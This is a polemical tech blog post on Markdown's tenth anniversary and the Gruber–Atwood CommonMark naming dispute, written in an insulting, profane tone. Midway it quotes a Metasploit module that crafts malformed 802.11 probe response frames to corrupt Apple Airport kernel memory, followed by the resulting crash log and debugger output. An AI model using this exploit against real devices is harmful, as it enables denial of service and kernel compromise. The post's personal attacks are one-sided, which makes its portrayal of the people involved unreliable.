About | ACP | Buy Stuff | Industry Watch | Learning Curve | Newsletter | Search | Test Drive
Home » Industry Watch » The Technological

Markdown 10 Years

The bard wrote a play about it.

Get It

Try It

WIMPIVERSE™ (Rixstep) — Markdown is ten years old today.


Version 1.0.1 - Tue 14 Dec 2004

Many people would ask why this is important. And they'd be justified in so asking. After all, the world already has a universal 'markdown' system at Wikipedia. But faction freaks never go away; Jeff Atwood is one. Jeff has an almost reverent (and romantic) attitude towards Markdown and its alleged creator John Gruber.

Like any dutiful and well-meaning suitor, we first need to ask permission for this courtship from the parents. So I'm asking you, John Gruber: as the original creator of Markdown, will you bless this endeavor? Also, as a totally unreleated [sic] aside, have I mentioned what a huge Yankees fan I am? Derek Jeter is one of the all-time greats.

Actually the relationship is more 'love-hate' than pure unadulterated love.

... Which leads me to the biggest problem with Markdown: John Gruber.

Atwood's been obsessed with Markdown for the past six years. Atwood comes to us with an impressive pedigree - at least more substantial than Gruber's.

I was weaned as a software developer on various implementations of Microsoft BASIC... I continued on the PC with Visual Basic 3.0... I also spent significant time writing Pascal code in the first versions of Delphi... I am now quite comfortable in VB.NET or C#... I'm currently learning Ruby.

So sorry folks, but Atwood is not one of the Atlases holding up the world of computing - he's one of the ones doing all the talking. And he still outshines Gruber, and that says a lot.

Atwood & Gruber

Gruber's of course known for his 'Daring Fireball' blog which overnight rose to notoriety for exposing a daft Microsoft marketing trick. A lot of sites had that scoop before Gruber, but it was perhaps Gruber's minimalistic 'grey on grey' approach to web design ('this represents all I can do in computer science') or the belief that Apple can do no wrong; Gruber quickly became known as the 'fanboy's fanboy', and segued into infamy by trashing some of the greats of the world, such as Avie Tevanian and Dan Gillmor.

Things finally came to a head when noted security guru HD Moore casually and deliberately stepped on Gruber's head.

John, your arrogance and complete naïvete in all things security has finally gotten to me.

HD even named one of his Metasploit projects after Gruber - 'DaringPhucball'.

require 'msf/core'

module Msf

class Auxiliary::Dos::Wireless::DaringPhucball < Msf::Auxiliary

  include Exploit::Lorcon

  def initialize(info = {})
      'Name'           => 'Apple Airport 802.11 Probe Response Kernel Memory Corruption',
      'Description'    => %q{
        The Apple Airport driver provided with Orinoco-based Airport cards (1999-2003 PowerBooks, iMacs)
        is vulnerable to a remote memory corruption flaw. When the driver is placed into active scanning
        mode, a malformed probe response frame can be used to corrupt internal kernel structures, leading
        to arbitrary code execution. This vulnerability is triggered when a probe response frame is received
        that does not contain valid information element (IE) fields after the fixed-length header. The data
        following the fixed-length header is copied over internal kernel structures, resulting in memory
        operations being performed on attacker-controlled pointer values.

      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision: 3666 $'
        OptInt.new('COUNT', [ true, "The number of frames to send", 2000]),
        OptString.new('ADDR_DST', [ true,  "The MAC address of the target system"])
      ], self.class)

  # This bug is easiest to trigger when the card has been placed into active scan mode:
  # $ /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -s -r 10000

  def run

    cnt = datastore['COUNT'].to_i

    print_status("Creating malicious probe response frame...")
    frame = create_frame()

    print_status("Sending #{cnt} frames...")
    0.upto(cnt) { |i| wifi.write(frame)  }

  def eton(addr)
    addr.split(':').map { |c| c.hex.chr }.join

  def create_frame
    bssid    = Rex::Text.rand_text(6)
    seq      = [rand(255)].pack('n')
    caps     = [rand(65535)].pack('n')

    frame =
      "\x50" +                      # type/subtype
      "\x00" +                      # flags
      "\x00\x00" +                  # duration
      eton(datastore['ADDR_DST']) + # dst
      bssid +                       # src
      bssid +                       # bssid
      seq   +                       # seq
      Rex::Text.rand_text(8) +      # timestamp value
      Rex::Text.rand_text(2) +      # beacon interval
      Rex::Text.rand_text(2)        # capabilities

    frame << [0x0defaced].pack('N') * ((1024-frame.length) / 4)

    return frame



Tested on a 1.0Ghz PowerBook running 10.4.8 with the latest updates (Halloween, 2006)

Unresolved kernel trap(cpu 0): 0x300 - Data access DAR=0x000000000DEFACF7 PC=0x00000000007A2260
Latest crash info for cpu 0:
   Exception state (sv=0x3AA12A00)
      PC=0x007A2260; MSR=0x00009030; DAR=0x0DEFACF7; DSISR=0x40000000; LR=0x007A1D48; R1=0x17443B60; XCP=0x0000000C (0x300 - Data access)
0x01BC80AC 0x007A1D48 0x0079FA54 0x0079FF94 0x0079FEBC 0x002D0B94
         0x002CFA5C 0x000A9314
      Kernel loadable modules in backtrace (with dependencies):
            dependency: com.apple.iokit.IONetworkingFamily(1.5.0)@0x5f8000
Proceeding back via exception chain:
   Exception state (sv=0x3AA12A00)
      previously dumped as "Latest" state. skipping...
   Exception state (sv=0x31F13A00)
      PC=0x00000000; MSR=0x0000D030; DAR=0x00000000; DSISR=0x00000000; LR=0x00000000; R1=0x00000000; XCP=0x00000000 (Unknown)

Kernel version:
Darwin Kernel Version 8.8.0: Fri Sep  8 17:18:57 PDT 2006; root:xnu-792.12.6.obj~1/RELEASE_PPC

(gdb) showcurrentstacks
task        vm_map      ipc_space  #acts   pid  proc        command
0x01a73dd8  0x00cdaf3c  0x01a68ef0   38      0  0x003fb200  kernel_task
            activation  thread      pri  state  wait_queue  wait_event
            0x01a7c000  0x01a7c000   82  R
                0x17443b60  0x1bc80ac
                0x17443be0  0x7a1d48 <com.apple.driver.AppleAirPort + 0xad48>
                0x17443c60  0x79fa54 <com.apple.driver.AppleAirPort + 0x8a54>
                0x17443ce0  0x79ff94 <com.apple.driver.AppleAirPort + 0x8f94>
                0x17443d90  0x79febc <com.apple.driver.AppleAirPort + 0x8ebc>
                0x17443df0  0x2d0b94 <_ZN22IOInterruptEventSource12checkForWorkEv+184>
                0x17443e40  0x2cfa5c <_ZN10IOWorkLoop10threadMainEv+104>
                0x17443e90  0xa9314 <Call_continuation+20>

(gdb) x/3i $pc
0x7a2260 <mhp.1762+3571640>:    lbz     r8,0(r2)
0x7a2264 <mhp.1762+3571644>:    addi    r2,r2,1
0x7a2268 <mhp.1762+3571648>:    stw     r2,0(r11)

(gdb) i r $r2
r2             0xdefacf7        233811191

(gdb) x/x $r11
0x17443bb8:     0x0defacf7

(gdb) bt
#0  0x007a2260 in mhp.1762 ()
#1  0x007a1d48 in mhp.1762 ()
warning: Previous frame identical to this frame (corrupt stack?)
#2  0x007a1d48 in mhp.1762 ()
#3  0x0079fa54 in mhp.1762 ()
#4  0x0079ff94 in mhp.1762 ()
#5  0x0079febc in mhp.1762 ()
#6  0x002d0b94 in IOInterruptEventSource::checkForWork (this=0x1d80d40) at /SourceCache/xnu/xnu-792.12.6/iokit/Kernel/IOInterruptEventSource.cpp:196
#7  0x002cfa5c in IOWorkLoop::threadMain (this=0x1d803c0) at /SourceCache/xnu/xnu-792.12.6/iokit/Kernel/IOWorkLoop.cpp:267

(gdb) x/40x $r1
0x17443b60:     0x17443be0      0x22424022      0x01bc80ac      0x00000038
0x17443b70:     0x00d43c54      0x0004ffff      0x01bc81f4      0x00000210
0x17443b80:     0x02275000      0x003d8000      0x004fa418      0x00365000
0x17443b90:     0x01d803c0      0x00033e88      0x01a7c01c      0x01a7c0a4
0x17443ba0:     0x0defaced      0x01bc8000      0x0227581e      0x0defacf7
0x17443bb0:     0x00000000      0x0227581e      0x0defacf7      0x00000001
0x17443bc0:     0x00000002      0x01bc81f4      0x00000000      0x00000000
0x17443bd0:     0x17443c10      0x01a858c0      0x17443be0      0x01d80d40
0x17443be0:     0x17443c60      0x01bc81f4      0x007a1d48      0x00000000
0x17443bf0:     0x17443c20      0x00008088      0x01bc8000      0x0227581e


But that was back in 2006, before the iPhone, and before Gruber started attacking people who were alarmed that early versions ran everything as root - that's something Apple thought long and hard about, said Gruber. And they had - for the next iteration right after Gruber's blooper reverted everything back down again.

But Gruber's baby - and it's not a love child with Atwood. It's Gruber's single and sole credit to software development. It's a Perl script and, according to Atwood, it's ugly. It's admittedly a stillborn baby, but offspring it is. Technically at least. And the baby is called Markdown.

Things get funky here. For Markdown was 'released' (by a proud father) on 14 December 2004 as version 1.0.1. But several developers have discovered that Gruber is sneaking in updates without telling anyone.

For whatever reason, Atwood and a few others are obsessed with Markdown (and Gruber) and end up wasting a lot of time struggling with it (and writing about their hurt). All the while Gruber tries to studiously ignore them.


Atwood wrote on 'Markdown Gotchas' back in June 2008.

There are a few edge cases where Markdown syntax can get weird and produce unexpected results.

He lists a few.

  1. Markdown's single biggest flaw is its intra-word emphasis.
  2. List items only nest if they cross a magical four-character boundary.
  3. Mixing HTML and Markdown has a couple of serious limitations.


Atwood kicked into higher gear a year later, naming several things that still needed fixing.

  1. Removed support for intra-word emphasis like_this_example
  2. Added auto-hyperlink support for http:// URLs in posts
  3. Automatic return-based linebreaks instead of 'two spaces at end of line' linebreaks
  4. Support for some magic strings that auto-convert to GitHub specific links


But by the end of the year, Atwood's had it.

After exposing it to a large audience, both Stack Overflow and GitHub independently discovered that Markdown had three particular characteristics that confused a lot of users:
  1. URLs are never hyperlinked without placing them in some kind of explicit markup.
  2. The underscore [_] can be used to delimit bold and italic, but also works for intra-word emphasis. While a typical use like '_italic_' is clear, there are disturbing and unexpected side effects in phrases such as 'some_file_name' and 'file_one and file_two'.
  3. It is paragraph and not line oriented. Returns are not automatically converted to linebreaks. Instead, paragraphs are detected as one or more consecutive lines of text, separated by one or more blank lines.

Items #1 and #2 are so fundamental and universal that I think they deserve to be changed in the Markdown specification itself.

There was so much confusion around unexpected intra-word emphasis and the failure to auto-hyperlink URLs that we changed these Markdown rules before we even came out of private beta.

Atwood sums up with:

For such a popular form of markup, it's a bit odd that the last official update was in late 2004. Which leads me to the biggest problem with Markdown: John Gruber.

Atwood's stuck between a Gruber and a hard place. Now watch things really go south.


Atwood formed a small group with people from GitHub and other sites. They spent months ironing out the kinks in Gruber's orphan.

... But it's an indictment of the state of the Markdown ecosystem that any remotely popular implementation wasn't already testing itself against a formal spec and test suite. But who can blame them, because it didn't exist!

And so Atwood announced Standard Markdown. But do click that link to witness one of the most amazing things you've ever seen on the InterNets.

This domain was disabled at the request of John Gruber.

So after receiving nothing but silence from the other end - no one hearing a word for almost ten years - Atwood went ahead and registered and paid for a domain.


Suddenly Gruber reacted.

We've been working on the Standard Markdown project for about two years now. We invited John Gruber, the original creator of Markdown, to join the project via email in November 2012, but never heard back. As we got closer to being ready for public feedback, we emailed John on August 19th with a link to the Standard Markdown spec, asking him for his feedback. Since John MacFarlane was the primary author of most of the work, we suggested that he be the one to reach out.

We then waited two weeks for a response. There was no response...

Not in that way no. Gruber's preferred method of communication is podcast. And he finally wrote to Atwood (and MacFarlane) a day later, calling their project name 'infuriating'. This matches well with his rhetoric from 2008.

I despise what you've done with Text::Markdown, which is to more or less make it an alias for MultiMarkdown, almost every part of which I disagree with in terms of syntax additions.

So Standard Markdown is now CommonMark - at least until Gruber's next podcast.

[Note: at one point in the podcast, Gruber 'complains' (more like brags) about receiving 1500 email messages per day. This isn't uncommon. If you can't stand the heat, get the fuck out of the kitchen. Ed.]

I think John Gruber should go back to tweet about how iPhones are better because the screens are small and Baseball.
 - Neurus

IMO, that lack of responsiveness - both to the original name and to the changed one - voids any rights of John Gruber's to complain. He may be the original inventor of Markdown but after all, he didn't do the work of creating the canonical spec and test suite that you guys have. And if he can't even be bothered to respond to emails then I don't think he has the right to be 'infuriated' about anything here.
 - reedbeta

Based on your description of the timeline of events, it seems that the only time Gruber is willing to contribute is when his nose is out of joint.
 - domurtag

Further Reading
Wikipedia: Wiki markup
Apple: Technical Note 2034
Industry Watch: 'Daring Phucball'
Learning Curve: Why John Gruber is Mad

About | ACP | Buy Stuff | Industry Watch | Learning Curve | Newsletter | Search | Test Drive
Copyright © Rixstep. All rights reserved.